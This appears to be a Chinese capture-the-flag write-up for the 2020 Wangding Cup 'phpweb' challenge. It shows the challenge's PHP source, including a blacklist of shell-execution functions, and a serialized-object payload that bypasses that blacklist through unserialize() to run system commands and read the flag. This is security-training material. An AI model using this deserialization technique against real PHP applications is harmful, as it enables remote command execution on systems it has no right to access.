[网鼎杯 2020 朱雀组]phpweb
[网鼎杯 2020 朱雀组]phpweb
打开环境就看到一行报错
好像是时间设置的有问题,尝试抓包解决,发现post数据里有两个参数
瞎搞了一会没啥突破,也不知道这里面到底是啥意思,上网寻求帮助,最后看到有一个博主说,看到这两个参数,会想到一个是函数名,另一个是要传的参数,这里很有可能是用了call_user_func()函数,然后简单看了一下这个函数是干嘛的,就是给他一个函数名,他就会去调用执行那个函数。
如果是这个意思的话,那我岂不是可以直接执行命令了?
结果,直接被拦下来了......
应该是有些函数不能用了,好在我之前总结了一点点php的函数及其功能,现在就是不知道哪些函数被禁用了,所以得慢慢试,得想办法拿到源码。
尝试readfile()
OK!拿到源码:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
system不给用了,那这除了用ls查看目录,还可以用scandir函数来查看目录,但测试完后发现他并不能显示返回结果
后来注意到他代码里有一段判断数据类型的操作,于是去查看了一下scandir函数的返回类型,不出所料,他的返回类型是一个数组,而不是字符串。由于目前还没找到其他方法来查看目录,于是想偷懒,因为之前做的题目大多数都是将flag文件之间放在根目录下的,于是想用file_get_contents()函数直接读/flag,但这次好像不太一样了,页面提示文件不存在。
果然,偷懒的方法行不通了,只能规规矩矩的去检查他的目录了,一筹莫展之际,突然发现我源码还没看完呢,中间还有一个叫test的类,他里面也调用了那个gettime的方法,而且里面还没检查黑名单,如果可以利用的话,不就可以执行system函数了嘛。
这个test方法看一眼就想到了魔术方法、反序列化的东西,不多废话了,直接先测试看看
本地运行脚本
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo "success!!!";
}
}
}
$a=new Test();
echo serialize($a);
?>
运行结果:
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
然后在靶机那只要再使用unserialize()就可以了
可以发现命令可以执行,那下面只要慢慢找就行了
最终在tmp目录下找到文件名为flagoefiu4r93文件很可疑,直接cat
拿到flag!
后来查看其它大佬写的writeup,发现有一种命令可以更快的找到flag文件,而且不用自己一个一个去找,命令如下
find / -name flag*
这个扫描结果可能会很慢,我测试时用了近1分钟才出结果。